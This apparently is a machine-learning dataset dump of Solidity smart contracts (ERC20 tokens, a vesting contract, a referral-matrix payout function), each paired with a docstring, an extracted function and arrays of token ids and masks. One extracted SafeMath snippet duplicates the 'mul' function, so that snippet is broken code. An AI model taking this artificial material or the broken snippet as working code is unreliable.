* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if(sender != owner() && recipient != owner())
require(amount <= maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
function setMaxTxAmount(uint256 _maxTxAmount) external onlyOwner() {
require(_maxTxAmount >= 10000e9 , 'maxTxAmount should be greater than 10000e9');
maxTxAmount = _maxTxAmount;
}
} | * @dev Sets the values for {name} and {symbol}, initializes {decimals} with a default value of 18. To select a different value for {decimals}, use {_setupDecimals}. All three of these values are immutable: they can only be set once during construction./ | constructor () public {
_mint(_msgSender(), 1000000000e18);
}
| 10,735,206 | [
1,
2785,
326,
924,
364,
288,
529,
97,
471,
288,
7175,
5779,
11643,
288,
31734,
97,
598,
279,
805,
460,
434,
6549,
18,
2974,
2027,
279,
3775,
460,
364,
288,
31734,
5779,
999,
288,
67,
8401,
31809,
5496,
4826,
8925,
434,
4259,
924,
854,
11732,
30,
2898,
848,
1338,
506,
444,
3647,
4982,
16171,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
3885,
1832,
1071,
288,
203,
3639,
389,
81,
474,
24899,
3576,
12021,
9334,
15088,
3784,
73,
2643,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.19;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic, Ownable {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Function to revert eth transfers to this contract
*/
function() public payable {
revert();
}
/**
* @dev Owner can transfer out any accidentally sent ERC20 tokens
*/
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return BasicToken(tokenAddress).transfer(owner, tokens);
}
/**
* @dev Transfer the specified amounts of tokens to the specified addresses.
* @dev Be aware that there is no check for duplicate recipients.
*
* @param _toAddresses Receiver addresses.
* @param _amounts Amounts of tokens that will be transferred.
*/
function multiSend(address[] _toAddresses, uint256[] _amounts) public {
/* Ensures _toAddresses array is less than or equal to 255 */
require(_toAddresses.length <= 255);
/* Ensures _toAddress and _amounts have the same number of entries. */
require(_toAddresses.length == _amounts.length);
for (uint8 i = 0; i < _toAddresses.length; i++) {
transfer(_toAddresses[i], _amounts[i]);
}
}
/**
* @dev Transfer the specified amounts of tokens to the specified addresses from authorized balance of sender.
* @dev Be aware that there is no check for duplicate recipients.
*
* @param _from The address of the sender
* @param _toAddresses The addresses of the recipients (MAX 255)
* @param _amounts The amounts of tokens to be transferred
*/
function multiSendFrom(address _from, address[] _toAddresses, uint256[] _amounts) public {
/* Ensures _toAddresses array is less than or equal to 255 */
require(_toAddresses.length <= 255);
/* Ensures _toAddress and _amounts have the same number of entries. */
require(_toAddresses.length == _amounts.length);
for (uint8 i = 0; i < _toAddresses.length; i++) {
transferFrom(_from, _toAddresses[i], _amounts[i]);
}
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public onlyOwner {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
Transfer(burner, address(0), _value);
}
}
contract InooviToken is StandardToken, BurnableToken {
string public constant name = "INOOVI";
string public constant symbol = "IVI";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 1000000000001 * (10 ** uint256(decimals));
function InooviToken() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
} | * @title SafeMath @dev Math operations with safety checks that throw on error/ | library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 961 | [
1,
9890,
10477,
225,
2361,
5295,
598,
24179,
4271,
716,
604,
603,
555,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
12083,
14060,
10477,
288,
203,
203,
225,
445,
14064,
12,
11890,
5034,
279,
16,
2254,
5034,
324,
13,
2713,
16618,
1135,
261,
11890,
5034,
13,
288,
203,
565,
309,
261,
69,
422,
374,
13,
288,
203,
1377,
327,
374,
31,
203,
565,
289,
203,
565,
2254,
5034,
276,
273,
279,
380,
324,
31,
203,
565,
1815,
12,
71,
342,
279,
422,
324,
1769,
203,
565,
327,
276,
31,
203,
225,
289,
203,
203,
225,
445,
14064,
12,
11890,
5034,
279,
16,
2254,
5034,
324,
13,
2713,
16618,
1135,
261,
11890,
5034,
13,
288,
203,
565,
309,
261,
69,
422,
374,
13,
288,
203,
1377,
327,
374,
31,
203,
565,
289,
203,
565,
2254,
5034,
276,
273,
279,
380,
324,
31,
203,
565,
1815,
12,
71,
342,
279,
422,
324,
1769,
203,
565,
327,
276,
31,
203,
225,
289,
203,
203,
225,
445,
3739,
12,
11890,
5034,
279,
16,
2254,
5034,
324,
13,
2713,
16618,
1135,
261,
11890,
5034,
13,
288,
203,
565,
2254,
5034,
276,
273,
279,
342,
324,
31,
203,
565,
327,
276,
31,
203,
225,
289,
203,
203,
225,
445,
720,
12,
11890,
5034,
279,
16,
2254,
5034,
324,
13,
2713,
16618,
1135,
261,
11890,
5034,
13,
288,
203,
565,
1815,
12,
70,
1648,
279,
1769,
203,
565,
327,
279,
300,
324,
31,
203,
225,
289,
203,
203,
225,
445,
527,
12,
11890,
5034,
279,
16,
2254,
5034,
324,
13,
2713,
16618,
1135,
261,
11890,
5034,
13,
288,
203,
565,
2254,
5034,
276,
273,
279,
397,
324,
31,
203,
565,
1815,
12,
2
] |
./partial_match/1/0x9DE6bcF7b7477D008f1f2609093a13c43fA5A776/sources/DAPPM.sol | create new one by recursioncheck referrer active level | function updateX3Referrer(address userAddress, address referrerAddress, uint8 level) private {
users[referrerAddress].x3Matrix[level].referrals.push(userAddress);
if (users[referrerAddress].x3Matrix[level].referrals.length < 3) {
emit NewUserPlace(userAddress, referrerAddress, 1, level, uint8(users[referrerAddress].x3Matrix[level].referrals.length), now);
return sendEthDividends(referrerAddress, userAddress, 1, level);
}
emit NewUserPlace(userAddress, referrerAddress, 1, level, 3, now);
if (!users[referrerAddress].activeX3Levels[level+1] && level != LAST_LEVEL) {
users[referrerAddress].x3Matrix[level].blocked = true;
}
if (referrerAddress != owner) {
address freeReferrerAddress = findFreeX3Referrer(referrerAddress, level);
if (users[referrerAddress].x3Matrix[level].currentReferrer != freeReferrerAddress) {
users[referrerAddress].x3Matrix[level].currentReferrer = freeReferrerAddress;
}
users[referrerAddress].x3Matrix[level].reinvestCount++;
emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 1, level, now);
updateX3Referrer(referrerAddress, freeReferrerAddress, level);
sendEthDividends(owner, userAddress, 1, level);
users[owner].x3Matrix[level].reinvestCount++;
emit Reinvest(owner, address(0), userAddress, 1, level, now);
}
}
| 3,969,652 | [
1,
2640,
394,
1245,
635,
13917,
1893,
14502,
2695,
1801,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
1089,
60,
23,
1957,
11110,
12,
2867,
729,
1887,
16,
1758,
14502,
1887,
16,
2254,
28,
1801,
13,
3238,
288,
203,
3639,
3677,
63,
1734,
11110,
1887,
8009,
92,
23,
4635,
63,
2815,
8009,
1734,
370,
1031,
18,
6206,
12,
1355,
1887,
1769,
203,
203,
3639,
309,
261,
5577,
63,
1734,
11110,
1887,
8009,
92,
23,
4635,
63,
2815,
8009,
1734,
370,
1031,
18,
2469,
411,
890,
13,
288,
203,
5411,
3626,
1166,
1299,
6029,
12,
1355,
1887,
16,
14502,
1887,
16,
404,
16,
1801,
16,
2254,
28,
12,
5577,
63,
1734,
11110,
1887,
8009,
92,
23,
4635,
63,
2815,
8009,
1734,
370,
1031,
18,
2469,
3631,
2037,
1769,
203,
5411,
327,
1366,
41,
451,
7244,
350,
5839,
12,
1734,
11110,
1887,
16,
729,
1887,
16,
404,
16,
1801,
1769,
203,
3639,
289,
203,
540,
203,
3639,
3626,
1166,
1299,
6029,
12,
1355,
1887,
16,
14502,
1887,
16,
404,
16,
1801,
16,
890,
16,
2037,
1769,
203,
3639,
309,
16051,
5577,
63,
1734,
11110,
1887,
8009,
3535,
60,
23,
12240,
63,
2815,
15,
21,
65,
597,
1801,
480,
15612,
67,
10398,
13,
288,
203,
5411,
3677,
63,
1734,
11110,
1887,
8009,
92,
23,
4635,
63,
2815,
8009,
23156,
273,
638,
31,
203,
3639,
289,
203,
203,
3639,
309,
261,
1734,
11110,
1887,
480,
3410,
13,
288,
203,
5411,
1758,
4843,
1957,
11110,
1887,
273,
1104,
9194,
60,
23,
1957,
11110,
12,
1734,
11110,
1887,
16,
1801,
1769,
203,
5411,
309,
261,
5577,
63,
1734,
11110,
1887,
8009,
92,
23,
4635,
63,
2815,
2
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/access/AccessControlEnumerable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
interface IAOD is IERC20 {
function mint(address to, uint256 amount) external;
}
contract AODArkonians is
Context,
Pausable,
AccessControlEnumerable,
ReentrancyGuard
{
//so we can invoke mint function in vest and invest
using Address for address;
// ============ Constants ============
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
//Vested Date - April 21, 2024 (GMT)
//the timestamp when all accounts are fully vested
uint64 constant public VESTED_DATE = 1713657600;
//Lock Period - 6 months
//the lock period to be applied after the token generated event
//(after the lock period accounts can now withdraw)
uint64 constant public LOCK_PERIOD = 15552000;
//the total possoble locked AOD tokens that are allocated for this sale
uint256 constant public TOTAL_POSSIBLE_LOCKED_TOKENS = 90000000 ether;
//the total possoble vested AOD tokens that are allocated for this sale
uint256 constant public TOTAL_POSSIBLE_VESTED_TOKENS = 10000000 ether;
// ============ Events ============
event ERC20Released(address indexed token, uint256 amount);
// ============ Structs ============
//a data struct for an account
struct Account {
//the amount of AOD tokens locked
uint256 lockedTokens;
//the amount of AOD tokens vesting
uint256 vestingTokens;
//the amount of AOD tokens already released
uint256 releasedTokens;
//whether if they already unlocked a token
bool unlocked;
//patch for a quirk to determine an account vs the default values
bool active;
}
// ============ Storage ============
//these are the tokens we are swapping
IAOD public AOD;
//the timestamp of the token generated event
uint64 public tokenGeneratedEvent;
//the total AOD tokens that are currently allocated
uint256 public currentlyAllocated;
//mapping of address to token sale stage
mapping(address => Account) public accounts;
// ============ Deploy ============
/**
* @dev sets the tokens `aod` and `busd` to be swapped. Grants
* `DEFAULT_ADMIN_ROLE` to the account that deploys the contract.
*/
constructor(address aod) {
//set up roles for the contract creator
address sender = _msgSender();
_setupRole(DEFAULT_ADMIN_ROLE, sender);
_setupRole(PAUSER_ROLE, sender);
//set the AOD interface
AOD = IAOD(aod);
}
// ============ Read Methods ============
/**
* @dev Returns the vested smart wallet address of the `beneficiary`
*/
function account(address beneficiary)
public virtual view returns(Account memory)
{
return accounts[beneficiary];
}
/**
* @dev Calculates the amount of tokens that are releasable.
* Default implementation is a linear vesting curve.
*/
function totalReleasableAmount(address beneficiary, uint64 timestamp)
public view virtual returns (uint256)
{
uint amount = totalVestedAmount(beneficiary, timestamp);
if (tokenGeneratedEvent > 0) {
//the unlock date should be after the lock period
uint64 unlockDate = tokenGeneratedEvent + LOCK_PERIOD;
//if the time is greater than the unlock date
if (timestamp >= unlockDate) {
amount += accounts[beneficiary].lockedTokens;
}
}
return amount - accounts[beneficiary].releasedTokens;
}
/**
* @dev Calculates the amount of tokens that has already vested.
* Default implementation is a linear vesting curve.
*/
function totalVestedAmount(address beneficiary, uint64 timestamp)
public view virtual returns (uint256)
{
//if no tge or time now is less than tge
if (tokenGeneratedEvent == 0) {
//no tokens releasable
return 0;
}
//get the beneficiary account info
Account memory _account = accounts[beneficiary];
//if time now is more than the vested date
if (timestamp > VESTED_DATE) {
//release all the tokens
return _account.vestingTokens;
}
//the start clock should be after the lock period
uint64 start = tokenGeneratedEvent + LOCK_PERIOD;
//if time is less than the start clock
if (timestamp < start) {
//no tokens releasable
return 0;
}
//determine the vesting duration in seconds
uint64 duration = VESTED_DATE - start;
//determine the elapsed time that has passed
uint64 elapsed = timestamp - start;
//this is the max possible tokens we can release
//total vesting tokens * elapsed / duration
